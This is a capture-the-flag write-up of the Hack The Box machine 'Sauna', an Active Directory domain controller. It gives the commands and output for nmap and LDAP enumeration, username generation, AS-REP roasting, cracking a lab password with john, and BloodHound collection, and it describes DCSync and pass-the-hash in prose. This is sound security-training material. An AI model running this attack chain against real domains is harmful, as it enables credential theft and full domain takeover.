Sauna

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.95.180
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 07:23 EDT
Nmap scan report for 10.129.95.180
Host is up (0.0067s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49676/tcp open  unknown
49685/tcp open  unknown
49692/tcp open  unknown

Let's investigate port 80.

SMB + LDAP Enum

enum4linux reveals nothing. However, an nmap scan to enumerate LDAP does reveal the domain to us.

$ sudo nmap -n -sV --script "ldap* and not brute" 10.129.95.180
<TRUNCATED>
|    namingContexts: DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
<TRUNCATED>

It seems the domain is EGOTISTICAL-BANK.LOCAL.

Bank Usernames -> ASREP-Roast

This was a bank company website:

At the bottom, we can 'Meet The Team':

Using these names, we can make use of usernamer.py to generate possible usernames for the machine:

LogoGitHub - jseidl/usernamer: Pentest Tool to generate usernames/logins based on supplied names.GitHub
$ cat names
Fergus Smith
Shaun Coins
Hugo Bear
Steven Kerb
Sophie Driver
$ python2 username.py -f names > usernames

We can use getNPUsers.py with our possible usernames and see if we get a hash.

$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.129.95.180 -usersfile usernames -outputfile hashes.asreproast
$ cat hashes.asreproast                                                      
$krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:7ac0145923447530e79be08f93e8811d$28d6b94831b87f4d9c00e25616b535937cf88fd35efb8bb94f6864eb12af8ccab559ed7ffc31fddd4a26ebb92d9d30b423d6f9845361b96447d0f3a5c6136331f803243a524696d8dac90642c59ced66b80ca592b993be97a764ad526f32314b13feedc91b81f6a514cad6bc36ee331fd985b057f3a4b826263478da4fe716811f479e900a2fca3598dd027fffc56ad6889287e1a87868d369ac05ce9560526d043d5573d246bf7611d5ebc73dea412c30a54fa6d4e8601274c347258b59f333a794dbbc5ccc7ba92fce785b32d895435940cd8bfcd28f36ac1cae57891ea2e8f1328a4196ab383d82a89d4c5539700669ea7c4eb877c17817090e2b2a5eef72

We can crack this hash easily.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.asreproast 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL)     
1g 0:00:00:06 DONE (2023-05-06 07:32) 0.1650g/s 1739Kp/s 1739Kc/s 1739KC/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Afterwards, we can get a shell using evil-winrm.

Grab the user flag.

Privilege Escalation

AutoLogon Creds

I ran a WinPEAS scan to enumerate for me. There, I found some AutoLogon credentials for the user.

We can login as this user using evil-winrm, but there's not much there for us.

BloodHound

I enumerated the system using BloodHound using FSmith credentials.

$ bloodhound-python -u fsmith -p Thestrokes23 -d egotistical-bank.local -ns 10.129.95.180 -c all --dns-tcp
INFO: Found AD domain: egotistical-bank.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
WARNING: Failed to get service ticket for SAUNA.EGOTISTICAL-BANK.LOCAL, falling back to NTLM auth
WARNING: DCE/RPC connection failed: [Errno 2] No such file or directory: 'Administrator.ccache'
INFO: Done in 00M 03S

After uploading the data, we can see what privileges this user has, and find out that he has DCSync privileges over the DC.

This means we can use secretsdump.py to read the hashes of the entire machine.

Then, just pass the hash using evil-winrm to get an administrator shell.

PreviousRouterSpaceNextScriptKiddie

Last updated